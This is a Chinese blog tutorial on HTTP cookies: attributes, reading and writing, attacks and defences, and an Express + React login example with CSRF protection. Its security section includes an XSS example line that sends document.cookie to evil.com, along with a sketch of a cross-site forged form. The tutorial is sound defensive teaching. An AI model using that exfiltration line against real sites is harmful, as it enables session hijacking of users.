Voocii博客
首页博客AI 热榜作品集读书友链工具关于
© 2026 Voocii. Built with Next.js & tRPC.
GitHubXEmailRSS


Cookie 全解:原理、读写、安全与实践

前端RickRick2026年10月31日·12 次阅读

Cookie 完整指南:它是什么、谁来写、怎么读、怎么被攻击、怎么防,最后用 Express + React 做一个带 CSRF 防护的登录会话案例。

一、Cookie 是什么

HTTP 本身是无状态的:服务器不会记得上一次请求是谁发的。Cookie 就是浏览器替服务器“记住”信息的机制——服务器通过响应头下发一小段文本,浏览器保存下来,之后访问同一站点时自动带上。

典型用途有三类:

  • 会话管理:登录状态、购物车
  • 个性化:语言、主题、偏好设置
  • 追踪分析:访客统计、广告投放

工作流程

浏览器                                    服务器
  |  1. GET /login                          |
  | --------------------------------------> |
  |  2. 200 OK                              |
  |     Set-Cookie: sid=abc123; HttpOnly    |
  | <-------------------------------------- |
  |     (浏览器保存 Cookie)                  |
  |  3. GET /profile                        |
  |     Cookie: sid=abc123                  |
  | --------------------------------------> |
  |  4. 服务器凭 sid 找到会话,返回用户数据   |
  | <-------------------------------------- |

Cookie 的组成

属性作用
Name=Value键值对,值不能含分号、逗号、空格,必要时需编码
Domain哪些域名会收到该 Cookie;省略则仅限当前主机(host-only)
Path哪些路径会收到该 Cookie
Expires / Max-Age过期时间;不设置即“会话 Cookie”
Secure仅通过 HTTPS 发送
HttpOnlyJavaScript 无法读取
SameSiteStrict / Lax / None,控制跨站请求是否携带
Partitioned分区 Cookie(CHIPS),按顶级站点隔离第三方 Cookie

限制:单个 Cookie 约 4KB,每个域名可存的数量有限(因浏览器而异),而且每次请求都会带上。所以别拿它存大数据,存个 ID 就够了。

二、何时、被谁写入 Cookie

Cookie 有三类“写入者”:

            +--> 服务器:响应头 Set-Cookie(可以带 HttpOnly)
写入来源 ---+--> 前端 JS:document.cookie(不能设 HttpOnly)
            +--> 第三方资源:广告/统计/iframe 的响应头(跨站)

1. 服务器写入(最主要)

服务器在响应中加 Set-Cookie 头,常见时机:登录成功、首次访问分配访客 ID、用户切换语言或主题。一个响应可以包含多个 Set-Cookie。

HTTP/1.1 200 OK
Set-Cookie: sid=abc123; Path=/; Max-Age=1800; HttpOnly; Secure; SameSite=Lax
Set-Cookie: lang=zh-CN; Path=/; Max-Age=31536000

2. 前端 JavaScript 写入

// 一次只能设置一个 Cookie
document.cookie = 'theme=dark; Max-Age=31536000; Path=/; SameSite=Lax';

注意:JS 不能创建 HttpOnly Cookie,这是它安全价值的来源。较新的 Cookie Store API(cookieStore.set())提供了异步接口,浏览器支持情况请查 MDN。

3. 第三方写入

当页面嵌入了其他站点的资源(图片、脚本、iframe),这些资源的响应也能 Set-Cookie。因为它与地址栏的站点不同,就是第三方 Cookie,广告追踪主要依赖它。Safari、Firefox 默认拦截,Chrome 的策略也在持续调整,具体以各浏览器官方说明为准。

浏览器如何处理写入

  • 覆盖规则:Name + Domain + Path 都相同才算同一个 Cookie,会被覆盖。
  • 删除 Cookie:重新设置同名 Cookie,Max-Age=0,且 Domain、Path 必须与原来一致。
  • Domain 省略 vs 指定:省略则仅当前主机;设为 example.com 则所有子域都能收到。
  • 名称前缀:__Secure- 要求带 Secure 并来自 HTTPS;__Host- 更严格,要求 Secure、Path=/、且不能有 Domain,可防止子域覆盖。

三、如何读取 Cookie

1. 浏览器自动携带

每次发请求前,浏览器会按以下条件筛选 Cookie,匹配的拼成一个 Cookie 请求头:

域名匹配 -> 路径匹配 -> 未过期 -> Secure 与协议匹配 -> SameSite 规则允许

2. 服务端读取

Node.js(Express + cookie-parser):

app.use(cookieParser());
app.get('/api/me', (req, res) => {
  const sid = req.cookies.sid;   // 已解析成对象
  res.json({ sid });
});

ASP.NET Core:

Response.Cookies.Append("theme", "dark", new CookieOptions {
    HttpOnly = true, Secure = true,
    SameSite = SameSiteMode.Lax, MaxAge = TimeSpan.FromDays(30)
});
var theme = Request.Cookies["theme"];

3. 前端读取

document.cookie 返回的是一整个字符串,需要自己解析;HttpOnly 的 Cookie 读不到:

function getCookie(name) {
  const hit = document.cookie.split('; ').find(c => c.startsWith(name + '='));
  return hit ? decodeURIComponent(hit.slice(name.length + 1)) : undefined;
}

4. 调试

Chrome DevTools -> Application -> Cookies,可以查看每个 Cookie 的全部属性,Network 面板里能看到 Set-Cookie 和 Cookie 头,Chrome 还会提示被拦截的原因。

四、安全性:攻击与防护

攻击原理防护
XSS 窃取注入脚本读取 document.cookie 并外传HttpOnly、输出转义、CSP
网络窃听HTTP 明文传输被嗅探Secure、全站 HTTPS、HSTS
CSRF利用浏览器自动带 Cookie,伪造用户操作SameSite、CSRF Token、校验 Origin
会话固定攻击者先给受害者一个已知 sid,等其登录登录后重新生成会话 ID
Cookie 篡改用户修改 Cookie 值伪造身份只存随机 ID,数据放服务端;或签名/加密
子域劫持/Cookie Tossing不可信子域写入覆盖父域 Cookie__Host- 前缀、不信任的子域隔离
隐私追踪第三方 Cookie 跨站识别用户SameSite、遵守 GDPR 等同意规则

XSS:偷 Cookie

攻击者在评论区注入脚本
   -> 受害者打开页面,脚本执行
   -> new Image().src = 'https://evil.com/?c=' + document.cookie
   -> 攻击者拿到 sid,直接冒充登录

设置 HttpOnly 后,document.cookie 里根本没有 sid,这条攻击路径就断了。但要注意:XSS 依然能以用户身份发请求,所以 HttpOnly 不能替代修复 XSS。

CSRF:借刀杀人

1. 用户已登录 bank.com(浏览器里有 sid)
2. 用户访问 evil.com,页面里有自动提交的表单:
     <form action='https://bank.com/transfer' method='POST'>
3. 浏览器发送请求时,自动带上 bank.com 的 Cookie
4. 服务器以为是用户本人操作

防护三层叠加:

  • SameSite=Lax:跨站 POST 不带 Cookie(现代浏览器默认就是 Lax)。
  • CSRF Token:状态修改请求必须带一个攻击者拿不到的 Token。
  • 校验 Origin/Referer:作为补充。

SameSite 速查

值跨站请求是否带 Cookie
Strict任何跨站请求都不带(从外链点进来也不带)
Lax仅顶级导航的 GET 带,跨站 POST、图片、iframe 不带
None都带,但必须同时设置 Secure

推荐的最小安全配置

Set-Cookie: __Host-sid=<随机128位以上>; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=1800

五、完整实战:Express + React 登录会话

目标:实现登录、获取当前用户、修改资料(需 CSRF 校验)、退出,覆盖前面讲的所有要点。

  React (Vite :5173)        Express (:3000)
       |   /api/* 经 Vite 代理      |
       | -------------------------> |  POST /api/login
       | <------------------------- |  Set-Cookie: sid (HttpOnly)
       |                            |  Set-Cookie: csrf (JS 可读)
       | -------------------------> |  POST /api/profile
       |  Cookie: sid               |  Header: X-CSRF-Token
       |  X-CSRF-Token: <csrf>      |  校验 sid + Token -> 200

1. 服务端 server.js

import express from 'express';
import cookieParser from 'cookie-parser';
import crypto from 'node:crypto';

const app = express();
const isProd = process.env.NODE_ENV === 'production';
if (isProd) app.set('trust proxy', 1); // 在反向代理后面时必需

const SID = isProd ? '__Host-sid' : 'sid';
const TTL = 30 * 60 * 1000;
const sessions = new Map(); // 演示用;生产请用 Redis 等

app.use(express.json());
app.use(cookieParser());

const cookieOpts = {
  httpOnly: true, secure: isProd, sameSite: 'lax', path: '/', maxAge: TTL,
};
const { maxAge, ...clearOpts } = cookieOpts;

function auth(req, res, next) {
  const s = sessions.get(req.cookies[SID]);
  if (!s || s.expires < Date.now()) return res.status(401).json({ error: '未登录' });
  s.expires = Date.now() + TTL; // 滑动过期
  req.session = s;
  next();
}

function csrf(req, res, next) {
  if (req.get('X-CSRF-Token') !== req.session.csrf)
    return res.status(403).json({ error: 'CSRF 校验失败' });
  next();
}

app.post('/api/login', (req, res) => {
  const { username, password } = req.body;
  // 演示用硬编码;真实项目请用 bcrypt/argon2 校验
  if (username !== 'rick' || password !== '123456')
    return res.status(401).json({ error: '用户名或密码错误' });

  sessions.delete(req.cookies[SID]);          // 防会话固定:旧 sid 作废
  const sid = crypto.randomBytes(32).toString('hex');
  const token = crypto.randomBytes(16).toString('hex');
  sessions.set(sid, { user: username, csrf: token, expires: Date.now() + TTL });

  res.cookie(SID, sid, cookieOpts);                            // JS 读不到
  res.cookie('csrf', token, { ...cookieOpts, httpOnly: false }); // JS 需要读它
  res.json({ user: username });
});

app.get('/api/me', auth, (req, res) => res.json({ user: req.session.user }));

app.post('/api/profile', auth, csrf, (req, res) =>
  res.json({ ok: true, nickname: req.body.nickname }));

app.post('/api/logout', auth, csrf, (req, res) => {
  sessions.delete(req.cookies[SID]);
  res.clearCookie(SID, clearOpts);
  res.clearCookie('csrf', { ...clearOpts, httpOnly: false });
  res.json({ ok: true });
});

app.listen(3000, () => console.log('http://localhost:3000'));

要点回顾:

  • sid 是随机值,用户数据都在服务端,Cookie 里只有“门牌号”,无法篡改出别人的身份。
  • sid 设置 HttpOnly,XSS 偷不走;生产环境用 __Host- 前缀加 Secure。
  • csrf Cookie 故意不设 HttpOnly,前端读出来放进请求头。攻击者的页面既读不到它(同源策略),浏览器也不会替他加这个头。
  • 登录时先销毁旧会话,防止会话固定。

2. Vite 代理 vite.config.js

让前后端同源,Cookie 不用处理跨域:

export default {
  server: { proxy: { '/api': 'http://localhost:3000' } },
};

3. 前端 App.jsx

import { useEffect, useState } from 'react';

function getCookie(name) {
  const hit = document.cookie.split('; ').find(c => c.startsWith(name + '='));
  return hit ? decodeURIComponent(hit.slice(name.length + 1)) : '';
}

async function api(path, { method = 'GET', body } = {}) {
  const headers = { 'Content-Type': 'application/json' };
  if (method !== 'GET') headers['X-CSRF-Token'] = getCookie('csrf');
  const res = await fetch(path, {
    method, headers, credentials: 'same-origin',
    body: body ? JSON.stringify(body) : undefined,
  });
  const data = await res.json();
  if (!res.ok) throw new Error(data.error);
  return data;
}

export default function App() {
  const [user, setUser] = useState(null);
  const [msg, setMsg] = useState('');

  useEffect(() => {
    api('/api/me').then(d => setUser(d.user)).catch(() => {});
  }, []);

  const run = (fn) => fn().catch(e => setMsg(e.message));

  const login = () => run(async () => {
    const d = await api('/api/login', { method: 'POST', body: { username: 'rick', password: '123456' } });
    setUser(d.user); setMsg('');
  });
  const save = () => run(async () => {
    const d = await api('/api/profile', { method: 'POST', body: { nickname: 'Rick' } });
    setMsg('已保存:' + d.nickname);
  });
  const logout = () => run(async () => {
    await api('/api/logout', { method: 'POST' });
    setUser(null); setMsg('已退出');
  });

  return (
    <div>
      <h3>{user ? '你好,' + user : '未登录'}</h3>
      {user ? (<><button onClick={save}>保存资料</button> <button onClick={logout}>退出</button></>)
            : <button onClick={login}>登录</button>}
      <p>{msg}</p>
    </div>
  );
}

4. 验证

用 curl 验证 CSRF 防护(不带 Token 的写操作会被拒绝):

# 登录,把 Cookie 存进 jar.txt
curl -i -c jar.txt -H 'Content-Type: application/json' \
  -d '{"username":"rick","password":"123456"}' http://localhost:3000/api/login

# 带 Cookie 但没有 X-CSRF-Token -> 403
curl -b jar.txt -X POST -H 'Content-Type: application/json' \
  -d '{"nickname":"x"}' http://localhost:3000/api/profile

用浏览器验证:登录后打开 DevTools -> Application -> Cookies,你会看到:

名称HttpOnlySameSite说明
sid勾选Lax会话 ID,Console 里 document.cookie 看不到它
csrf不勾选LaxCSRF Token,前端读取后放入请求头

模拟攻击:新建一个 evil.html,放一个指向 http://localhost:3000/api/profile 的自动提交表单,打开它。因为 SameSite=Lax 跨站 POST 不带 sid,即使带了,也缺少合法的 Token,请求会被拦下。

5. 上线前还要做的事

  • 全站 HTTPS,开启 HSTS,生产环境启用 Secure 与 __Host- 前缀。
  • 会话存储换成 Redis 等外部存储,并设置绝对过期时间。
  • 密码用 argon2 / bcrypt 哈希,登录接口加限流。
  • 配置 CSP,转义所有用户输入,从源头减少 XSS。
  • 如果前后端跨域(不同站点),需要 CORS 白名单 + credentials: 'include' + SameSite=None; Secure,并更小心地做 CSRF 防护。

六、总结与检查清单

检查项做法
会话 ID随机、足够长,Cookie 里只放 ID
防窃取HttpOnly + CSP + 输出转义
防窃听Secure + HTTPS + HSTS
防 CSRFSameSite + CSRF Token + 校验 Origin
防固定/篡改登录后换 sid;数据放服务端
范围最小化不设 Domain,Path 尽量收窄,过期时间合理
隐私合规非必要 Cookie 需用户同意

一句话总结:Cookie 只负责“带话”,真正的信任要靠服务端校验。 把 Cookie 当作不可信的输入,用 HttpOnly、Secure、SameSite 三个属性守住底线,再配合 Token 与服务端会话,大多数常见攻击都能挡在门外。

评论 (0)

暂无评论,快来抢沙发吧!

发表评论

目录
  • 一、Cookie 是什么
  • 二、何时、被谁写入 Cookie
  • 三、如何读取 Cookie
  • 四、安全性:攻击与防护
  • 五、完整实战:Express + React 登录会话
  • 六、总结与检查清单